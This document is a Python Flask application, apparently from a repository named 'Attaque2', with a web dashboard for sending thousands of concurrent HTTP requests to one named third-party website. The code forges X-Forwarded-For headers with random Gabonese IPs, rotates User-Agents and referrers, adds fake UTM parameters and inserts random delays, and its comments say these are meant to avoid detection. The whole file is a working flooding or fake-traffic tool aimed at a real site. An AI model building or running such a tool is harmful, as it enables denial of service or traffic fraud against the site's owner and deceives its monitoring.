Attaque2 / app.py
Docfile's picture
Update app.py
b237e11 verified
raw
history blame
38.6 kB
from flask import Flask, render_template, request, jsonify, redirect, url_for
import asyncio
import aiohttp
import os
import json
import time
import random
import string
from datetime import datetime
import multiprocessing
from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor
from threading import Lock
import logging
import sys
from functools import partial
# Configuration du logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.StreamHandler(sys.stdout),
logging.FileHandler('website_requester.log')
]
)
logger = logging.getLogger('website_requester')
app = Flask(__name__)
# Variables globales pour stocker l'état, utilisation d'un gestionnaire multiprocessing
manager = multiprocessing.Manager()
requests_in_progress = manager.Value('b', False)
progress_counter = manager.Value('i', 0)
total_requests = manager.Value('i', 0)
requests_being_made = manager.list()
requests_lock = manager.Lock() # Pour sécuriser l'accès aux données partagées
process_pool = None
background_tasks = []
# Configuration de paramètres avancés
MAX_CONNECTIONS = 1000 # Nombre maximal de connexions simultanées
SAVE_FREQUENCY = 100 # Fréquence de sauvegarde des résultats (tous les X requêtes)
CHUNK_SIZE = 5000 # Nombre de requêtes à traiter par processus
MAX_RETRIES = 5 # Nombre maximum de tentatives pour chaque opération
RETRY_DELAY = 0.5 # Délai entre les tentatives en secondes
REQUESTS_FILE = "requetes_gabaohub.json"
IP_ROTATION_COUNT = 50 # Rotation des IP après ce nombre de requêtes
REQUEST_TIMEOUT = 15 # Timeout des requêtes en secondes
def generate_gabonese_ip():
"""Génère une adresse IP du Gabon (plage 41.158.0.0/16)"""
return f"41.158.{random.randint(0, 255)}.{random.randint(1, 254)}"
def get_random_user_agent():
"""Retourne un User-Agent aléatoire parmi les plus courants"""
user_agents = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Edg/99.0.1150.55",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPad; CPU OS 15_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36"
]
return random.choice(user_agents)
def get_random_referrer():
"""Retourne un référent aléatoire plausible"""
referrers = [
"https://www.google.com/",
"https://www.bing.com/",
"https://www.yahoo.com/",
"https://duckduckgo.com/",
"https://www.facebook.com/",
"https://twitter.com/",
"https://www.linkedin.com/",
"https://www.instagram.com/",
"https://www.gabon.ga/",
"https://www.gov.ga/",
"https://www.youtube.com/",
"", # Aucun référent (accès direct)
]
return random.choice(referrers)
async def with_retries(func, *args, max_retries=MAX_RETRIES, **kwargs):
"""Exécute une fonction avec plusieurs tentatives en cas d'échec"""
for attempt in range(max_retries):
try:
return await func(*args, **kwargs)
except Exception as e:
if attempt == max_retries - 1:
logger.error(f"Échec définitif après {max_retries} tentatives: {str(e)}")
raise
delay = RETRY_DELAY * (2 ** attempt) # Backoff exponentiel
logger.warning(f"Tentative {attempt+1} échouée: {str(e)}. Nouvel essai dans {delay:.2f}s")
await asyncio.sleep(delay)
async def create_session(request_counter):
"""Crée une session HTTP optimisée avec rotation d'IP"""
# Configurer la session avec un meilleur contrôle des connexions
connector = aiohttp.TCPConnector(
limit=MAX_CONNECTIONS, # Nombre maximum de connexions simultanées
ssl=False, # Désactiver la vérification SSL pour plus de performance
force_close=False, # Réutiliser les connexions quand c'est possible
use_dns_cache=True, # Utiliser le cache DNS
ttl_dns_cache=300 # Cache DNS valide pendant 5 minutes
)
timeout = aiohttp.ClientTimeout(
total=REQUEST_TIMEOUT,
connect=10,
sock_connect=10,
sock_read=10
)
session = aiohttp.ClientSession(
connector=connector,
timeout=timeout,
headers={
"User-Agent": get_random_user_agent(),
"X-Forwarded-For": generate_gabonese_ip(),
"Referer": get_random_referrer(),
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1"
}
)
# Middleware pour faire une rotation des IPs et des User-Agents
original_request = session._request
async def request_middleware(method, url, **kwargs):
nonlocal request_counter
# Rotation des IPs, des User-Agents et des référents après un certain nombre de requêtes
if request_counter.value % IP_ROTATION_COUNT == 0:
kwargs.setdefault('headers', {}).update({
"X-Forwarded-For": generate_gabonese_ip(),
"User-Agent": get_random_user_agent(),
"Referer": get_random_referrer()
})
request_counter.value += 1
return await original_request(method, url, **kwargs)
session._request = request_middleware
return session
async def make_homepage_request(session, request_index, request_counter):
"""Effectue une requête vers la page d'accueil"""
global requests_being_made
try:
# URL de la page d'accueil
url = "https://gabaohub.alwaysdata.net"
# Paramètres aléatoires pour simuler des utilisateurs réels
params = {}
# Ajouter des paramètres UTM aléatoires occasionnellement
if random.random() < 0.3: # 30% de chance
utm_sources = ["facebook", "twitter", "instagram", "direct", "google", "bing"]
utm_mediums = ["social", "cpc", "email", "referral", "organic"]
utm_campaigns = ["spring_promo", "launch", "awareness", "brand", "product"]
params["utm_source"] = random.choice(utm_sources)
params["utm_medium"] = random.choice(utm_mediums)
params["utm_campaign"] = random.choice(utm_campaigns)
# Mettre à jour les informations de la requête dans la liste
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["url"] = url
requests_being_made[request_index]["params"] = params
requests_being_made[request_index]["status"] = "in_progress"
requests_being_made[request_index]["start_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
# Effectuer la requête avec retries
try:
start_time = time.time()
async with session.get(url, params=params, allow_redirects=True) as response:
# Lire le contenu pour simuler le chargement complet de la page
content = await response.read()
end_time = time.time()
response_time = end_time - start_time
# Mettre à jour le statut
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["status"] = "success"
requests_being_made[request_index]["status_code"] = response.status
requests_being_made[request_index]["response_time"] = round(response_time, 3)
requests_being_made[request_index]["content_length"] = len(content)
requests_being_made[request_index]["end_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
progress_counter.value += 1
except Exception as e:
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["status"] = "failed"
requests_being_made[request_index]["error"] = str(e)
requests_being_made[request_index]["end_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
progress_counter.value += 1
except Exception as e:
with requests_lock:
if request_index < len(requests_being_made):
requests_being_made[request_index]["status"] = "failed"
requests_being_made[request_index]["error"] = str(e)
requests_being_made[request_index]["end_time"] = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
progress_counter.value += 1
async def process_request_chunk(start_index, chunk_size, process_id=0):
"""Traite un groupe de requêtes dans un processus séparé"""
logger.info(f"Processus {process_id}: Démarrage du traitement pour les indices {start_index} à {start_index+chunk_size-1}")
# Créer un compteur de requêtes partagé
request_counter = multiprocessing.Value('i', 0)
# Créer une nouvelle session HTTP pour ce processus
async with await create_session(request_counter) as session:
# Créer un sémaphore pour limiter les connexions simultanées
semaphore = asyncio.Semaphore(MAX_CONNECTIONS // multiprocessing.cpu_count())
async def process_request(i):
request_index = start_index + i
if request_index >= total_requests.value:
return
async with semaphore:
await make_homepage_request(session, request_index, request_counter)
# Pause aléatoire pour éviter les modèles de trafic détectables
await asyncio.sleep(random.uniform(0.2, 2.0)) # Temps d'attente plus naturel entre les requêtes
# Sauvegarde périodique
if progress_counter.value % SAVE_FREQUENCY == 0:
save_results_to_file()
# Créer et exécuter toutes les tâches pour ce chunk
tasks = [process_request(i) for i in range(min(chunk_size, total_requests.value - start_index))]
await asyncio.gather(*tasks)
logger.info(f"Processus {process_id}: Traitement terminé pour le chunk commençant à l'indice {start_index}")
def save_results_to_file():
"""Sauvegarde l'état actuel dans un fichier JSON de manière thread-safe"""
with requests_lock:
try:
# Créer une copie des données actuelles
data_to_save = list(requests_being_made)
# Utiliser un fichier temporaire pour éviter la corruption
temp_file = f"{REQUESTS_FILE}.tmp"
with open(temp_file, "w", encoding="utf-8") as f:
json.dump(data_to_save, f, indent=2, ensure_ascii=False)
# Remplacer le fichier original par le fichier temporaire
os.replace(temp_file, REQUESTS_FILE)
logger.info(f"Sauvegarde effectuée: {progress_counter.value}/{total_requests.value} requêtes")
except Exception as e:
logger.error(f"Erreur lors de la sauvegarde: {str(e)}")
def run_request_process(start_index, chunk_size, process_id):
"""Fonction exécutée dans chaque processus pour effectuer des requêtes"""
try:
# Configurer la nouvelle boucle asyncio pour ce processus
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
# Exécuter le traitement du chunk
loop.run_until_complete(process_request_chunk(start_index, chunk_size, process_id))
loop.close()
except Exception as e:
logger.error(f"Erreur dans le processus {process_id}: {str(e)}")
def start_request_process(num_requests, concurrency):
"""Démarre le processus d'envoi de requêtes avec multiprocessing"""
global requests_in_progress, total_requests, progress_counter, requests_being_made, process_pool, background_tasks
# Réinitialiser les compteurs
with requests_lock:
progress_counter.value = 0
total_requests.value = num_requests
requests_being_made[:] = [{"status": "pending"} for _ in range(num_requests)]
# Déterminer le nombre optimal de processus
num_cpus = multiprocessing.cpu_count()
num_processes = min(num_cpus, (num_requests + CHUNK_SIZE - 1) // CHUNK_SIZE)
logger.info(f"Démarrage de l'envoi de {num_requests} requêtes avec {num_processes} processus et concurrence de {concurrency}")
# Diviser le travail en chunks
process_pool = ProcessPoolExecutor(max_workers=num_processes)
background_tasks = []
for i in range(num_processes):
start_idx = i * CHUNK_SIZE
if start_idx < num_requests:
task = process_pool.submit(
run_request_process,
start_idx,
min(CHUNK_SIZE, num_requests - start_idx),
i
)
background_tasks.append(task)
# Démarrer un thread de surveillance pour les tâches en arrière-plan
monitor_thread = ThreadPoolExecutor(max_workers=1)
monitor_thread.submit(monitor_background_tasks)
def monitor_background_tasks():
"""Surveille les tâches en arrière-plan et marque le processus comme terminé lorsque tout est fait"""
global requests_in_progress, background_tasks
try:
# Attendre que toutes les tâches soient terminées
for task in background_tasks:
task.result() # Ceci bloquera jusqu'à ce que la tâche soit terminée
logger.info(f"Toutes les tâches d'envoi de requêtes sont terminées. {progress_counter.value}/{total_requests.value} requêtes traitées.")
# Sauvegarde finale
save_results_to_file()
# Marquer le processus comme terminé
requests_in_progress.value = False
except Exception as e:
logger.error(f"Erreur lors de la surveillance des tâches: {str(e)}")
requests_in_progress.value = False
@app.route('/')
def index():
"""Page d'accueil"""
# Charger les requêtes existantes si elles existent
requests_data = []
if os.path.exists(REQUESTS_FILE):
try:
with open(REQUESTS_FILE, "r", encoding="utf-8") as f:
requests_data = json.load(f)
except json.JSONDecodeError:
requests_data = []
return render_template('index.html',
requests_in_progress=requests_in_progress.value,
requests=requests_data[:1000], # Limiter pour des raisons de performance UI
progress=progress_counter.value,
total=total_requests.value)
@app.route('/start', methods=['POST'])
def start_requests():
"""Démarrer l'envoi de requêtes"""
if not requests_in_progress.value:
# Récupérer les paramètres
num_requests = int(request.form.get('num_requests', 1000))
concurrency = int(request.form.get('concurrency', MAX_CONNECTIONS))
# Marquer comme en cours
requests_in_progress.value = True
# Démarrer l'envoi de requêtes
start_request_process(num_requests, concurrency)
logger.info(f"Envoi de {num_requests} requêtes lancé avec concurrence {concurrency}")
else:
logger.warning("Un processus d'envoi de requêtes est déjà en cours")
return redirect(url_for('index'))
@app.route('/progress')
def get_progress():
"""Endpoint API pour obtenir la progression complète"""
# Charger les dernières données
requests_data = []
if os.path.exists(REQUESTS_FILE):
try:
with open(REQUESTS_FILE, "r", encoding="utf-8") as f:
requests_data = json.load(f)
except json.JSONDecodeError:
requests_data = []
return jsonify({
'requests_in_progress': requests_in_progress.value,
'progress': progress_counter.value,
'total': total_requests.value,
'requests': requests_data[:200] # Limiter pour des raisons de performance
})
@app.route('/status')
def get_status():
"""Endpoint API simplifié pour obtenir juste la progression"""
return jsonify({
'requests_in_progress': requests_in_progress.value,
'progress': progress_counter.value,
'total': total_requests.value,
'success_count': sum(1 for req in requests_being_made if req.get('status') == 'success'),
'failed_count': sum(1 for req in requests_being_made if req.get('status') == 'failed'),
'pending_count': sum(1 for req in requests_being_made if req.get('status') == 'pending'),
})
@app.route('/reset', methods=['POST'])
def reset():
"""Réinitialise le processus et supprime les données existantes"""
global requests_in_progress, requests_being_made, progress_counter, total_requests, process_pool, background_tasks
if not requests_in_progress.value:
# Réinitialiser les compteurs et les données
with requests_lock:
requests_being_made[:] = []
progress_counter.value = 0
total_requests.value = 0
# Supprimer le fichier JSON s'il existe
if os.path.exists(REQUESTS_FILE):
os.remove(REQUESTS_FILE)
logger.info("Réinitialisation effectuée")
else:
logger.warning("Impossible de réinitialiser pendant un processus en cours")
return redirect(url_for('index'))
@app.route('/stop', methods=['POST'])
def stop_requests():
"""Arrête le processus d'envoi de requêtes en cours"""
global requests_in_progress, process_pool
if requests_in_progress.value and process_pool:
logger.info("Arrêt des processus d'envoi de requêtes...")
process_pool.shutdown(wait=False)
requests_in_progress.value = False
# Sauvegarde l'état actuel
save_results_to_file()
logger.info("Processus d'envoi de requêtes arrêté")
return redirect(url_for('index'))
@app.route('/stats')
def get_stats():
"""Obtient des statistiques sur les requêtes effectuées"""
requests_data = []
if os.path.exists(REQUESTS_FILE):
try:
with open(REQUESTS_FILE, "r", encoding="utf-8") as f:
requests_data = json.load(f)
except json.JSONDecodeError:
requests_data = []
# Calculer les statistiques de base
successful_requests = [req for req in requests_data if req.get('status') == 'success']
failed_requests = [req for req in requests_data if req.get('status') == 'failed']
# Temps de réponse moyen pour les requêtes réussies
avg_response_time = 0
if successful_requests:
avg_response_time = sum(req.get('response_time', 0) for req in successful_requests) / len(successful_requests)
# Codes de statut des réponses
status_codes = {}
for req in successful_requests:
code = req.get('status_code')
if code:
status_codes[code] = status_codes.get(code, 0) + 1
# Types d'erreurs pour les requêtes échouées
error_types = {}
for req in failed_requests:
error = req.get('error', 'Unknown')
error_type = error.split(':')[0] if ':' in error else error
error_types[error_type] = error_types.get(error_type, 0) + 1
return jsonify({
'total_requests': len(requests_data),
'successful_requests': len(successful_requests),
'failed_requests': len(failed_requests),
'avg_response_time': avg_response_time,
'status_codes': status_codes,
'error_types': error_types
})
# Template HTML pour l'interface utilisateur
@app.route('/templates/index.html')
def get_template():
return """
<!DOCTYPE html>
<html lang="fr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Générateur de requêtes pour gabaohub.alwaysdata.net</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
.status-badge {
display: inline-block;
padding: 0.25em 0.6em;
font-size: 75%;
font-weight: 700;
line-height: 1;
text-align: center;
white-space: nowrap;
vertical-align: baseline;
border-radius: 0.25rem;
}
.status-pending { background-color: #6c757d; color: white; }
.status-in_progress { background-color: #17a2b8; color: white; }
.status-success { background-color: #28a745; color: white; }
.status-failed { background-color: #dc3545; color: white; }
.refresh-icon { cursor: pointer; }
</style>
</head>
<body>
<div class="container mt-4">
<h1 class="mb-4">Générateur de requêtes pour gabaohub.alwaysdata.net</h1>
<div class="card mb-4">
<div class="card-header">
Contrôles
</div>
<div class="card-body">
<form action="/start" method="post" class="mb-3">
<div class="row mb-3">
<div class="col-md-6">
<label for="num_requests" class="form-label">Nombre de requêtes à envoyer:</label>
<input type="number" class="form-control" id="num_requests" name="num_requests" min="1" value="1000">
</div>
<div class="col-md-6">
<label for="concurrency" class="form-label">Niveau de concurrence:</label>
<input type="number" class="form-control" id="concurrency" name="concurrency" min="1" max="1000" value="100">
</div>
</div>
<button type="submit" class="btn btn-primary" id="start-button">Démarrer</button>
</form>
<div class="d-flex">
<form action="/stop" method="post" class="me-2">
<button type="submit" class="btn btn-warning" id="stop-button">Arrêter</button>
</form>
<form action="/reset" method="post">
<button type="submit" class="btn btn-danger" id="reset-button">Réinitialiser</button>
</form>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-header d-flex justify-content-between align-items-center">
<span>Progression</span>
<span class="refresh-icon" onclick="updateProgress()">🔄</span>
</div>
<div class="card-body">
<div class="progress mb-3">
<div id="progress-bar" class="progress-bar" role="progressbar" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100"></div>
</div>
<p id="progress-text">0 / 0 requêtes traitées (0%)</p>
<p id="status-text">État: Inactif</p>
<div class="row mt-4">
<div class="col-md-4">
<div class="card bg-success text-white">
<div class="card-body">
<h5 class="card-title">Réussies</h5>
<h2 id="success-count">0</h2>
</div>
</div>
</div>
<div class="col-md-4">
<div class="card bg-danger text-white">
<div class="card-body">
<h5 class="card-title">Échouées</h5>
<h2 id="failed-count">0</h2>
</div>
</div>
</div>
<div class="col-md-4">
<div class="card bg-secondary text-white">
<div class="card-body">
<h5 class="card-title">En attente</h5>
<h2 id="pending-count">0</h2>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="card mb-4">
<div class="card-header d-flex justify-content-between align-items-center">
<span>Statistiques</span>
<span class="refresh-icon" onclick="updateStats()">🔄</span>
</div>
<div class="card-body" id="stats-container">
<p>Aucune statistique disponible.</p>
</div>
</div>
<div class="card">
<div class="card-header d-flex justify-content-between align-items-center">
<span>Dernières requêtes</span>
<span class="refresh-icon" onclick="updateRequests()">🔄</span>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table table-striped">
<thead>
<tr>
<th>#</th>
<th>URL</th>
<th>Statut</th>
<th>Code</th>
<th>Temps (s)</th>
<th>Heure</th>
</tr>
</thead>
<tbody id="requests-table">
<tr>
<td colspan="6" class="text-center">Chargement des données...</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
<script>
// Variables globales
let isPolling = false;
let pollingInterval;
// Démarrer la mise à jour automatique
window.onload = function() {
updateProgress();
updateRequests();
updateStats();
// Mettre en place une mise à jour périodique
pollingInterval = setInterval(() => {
if (isPolling) {
updateProgress();
updateStats();
}
}, 5000);
};
// Mettre à jour les informations de progression
function updateProgress() {
fetch('/status')
.then(response => response.json())
.then(data => {
// Mettre à jour la barre de progression
const percentage = data.total > 0 ? (data.progress / data.total * 100) : 0;
document.getElementById('progress-bar').style.width = percentage + '%';
document.getElementById('progress-bar').setAttribute('aria-valuenow', percentage);
// Mettre à jour le texte de progression
document.getElementById('progress-text').textContent =
`${data.progress} / ${data.total} requêtes traitées (${percentage.toFixed(1)}%)`;
// Mettre à jour l'état
document.getElementById('status-text').textContent =
`État: ${data.requests_in_progress ? 'En cours' : 'Inactif'}`;
// Mettre à jour les compteurs
document.getElementById('success-count').textContent = data.success_count;
document.getElementById('failed-count').textContent = data.failed_count;
document.getElementById('pending-count').textContent = data.pending_count;
// Activer/désactiver le polling automatique
isPolling = data.requests_in_progress;
// Mettre à jour l'état des boutons
document.getElementById('start-button').disabled = data.requests_in_progress;
document.getElementById('stop-button').disabled = !data.requests_in_progress;
document.getElementById('reset-button').disabled = data.requests_in_progress;
})
.catch(error => {
console.error('Erreur lors de la récupération de la progression:', error);
});
}
// Mettre à jour la liste des requêtes
function updateRequests() {
fetch('/progress')
.then(response => response.json())
.then(data => {
const tableBody = document.getElementById('requests-table');
// Effacer le contenu actuel
tableBody.innerHTML = '';
// Si aucune requête, afficher un message
if (data.requests.length === 0) {
tableBody.innerHTML = '<tr><td colspan="6" class="text-center">Aucune requête effectuée.</td></tr>';
return;
}
// Ajouter chaque requête au tableau
data.requests.forEach((req, index) => {
const row = document.createElement('tr');
// Déterminer la classe de statut
const statusClass = `status-${req.status || 'pending'}`;
// Créer les cellules
row.innerHTML = `
<td>${index + 1}</td>
<td>${req.url || 'N/A'}</td>
<td><span class="status-badge ${statusClass}">${req.status || 'pending'}</span></td>
<td>${req.status_code || '-'}</td>
<td>${req.response_time || '-'}</td>
<td>${req.end_time || req.start_time || '-'}</td>
`;
tableBody.appendChild(row);
});
})
.catch(error => {
console.error('Erreur lors de la récupération des requêtes:', error);
});
}
// Mettre à jour les statistiques
function updateStats() {
fetch('/stats')
.then(response => response.json())
.then(data => {
const statsContainer = document.getElementById('stats-container');
// Formater les codes de statut
let statusCodeHtml = '<div class="mt-3"><h5>Codes de statut</h5>';
if (Object.keys(data.status_codes).length > 0) {
statusCodeHtml += '<div class="row">';
for (const [code, count] of Object.entries(data.status_codes)) {
const colorClass = code.startsWith('2') ? 'success' :
code.startsWith('3') ? 'info' :
code.startsWith('4') ? 'warning' : 'danger';
statusCodeHtml += `
<div class="col-md-3 mb-2">
<div class="card bg-${colorClass} text-white">
<div class="card-body p-2 text-center">
<h5 class="card-title">${code}</h5>
<p class="card-text">${count} requêtes</p>
</div>
</div>
</div>
`;
}
statusCodeHtml += '</div>';
} else {
statusCodeHtml += '<p>Aucun code de statut disponible.</p>';
}
statusCodeHtml += '</div>';
// Formater les types d'erreurs
let errorTypesHtml = '<div class="mt-3"><h5>Types d\'erreurs</h5>';
if (Object.keys(data.error_types).length > 0) {
errorTypesHtml += '<ul class="list-group">';
for (const [type, count] of Object.entries(data.error_types)) {
errorTypesHtml += `
<li class="list-group-item d-flex justify-content-between align-items-center">
${type}
<span class="badge bg-danger rounded-pill">${count}</span>
</li>
`;
}
errorTypesHtml += '</ul>';
} else {
errorTypesHtml += '<p>Aucune erreur disponible.</p>';
}
errorTypesHtml += '</div>';
// Mettre à jour le contenu
statsContainer.innerHTML = `
<div class="row">
<div class="col-md-6">
<h5>Résumé</h5>
<ul class="list-group">
<li class="list-group-item d-flex justify-content-between align-items-center">
Requêtes totales
<span class="badge bg-primary rounded-pill">${data.total_requests}</span>
</li>
<li class="list-group-item d-flex justify-content-between align-items-center">
Requêtes réussies
<span class="badge bg-success rounded-pill">${data.successful_requests}</span>
</li>
<li class="list-group-item d-flex justify-content-between align-items-center">
Requêtes échouées
<span class="badge bg-danger rounded-pill">${data.failed_requests}</span>
</li>
</ul>
</div>
<div class="col-md-6">
<h5>Performance</h5>
<div class="card">
<div class="card-body">
<h3>${data.avg_response_time.toFixed(3)} s</h3>
<p class="text-muted">Temps de réponse moyen</p>
</div>
</div>
</div>
</div>
${statusCodeHtml}
${errorTypesHtml}
`;
})
.catch(error => {
console.error('Erreur lors de la récupération des statistiques:', error);
});
}
</script>
</body>
</html>
"""
if __name__ == '__main__':
app.run(debug=True)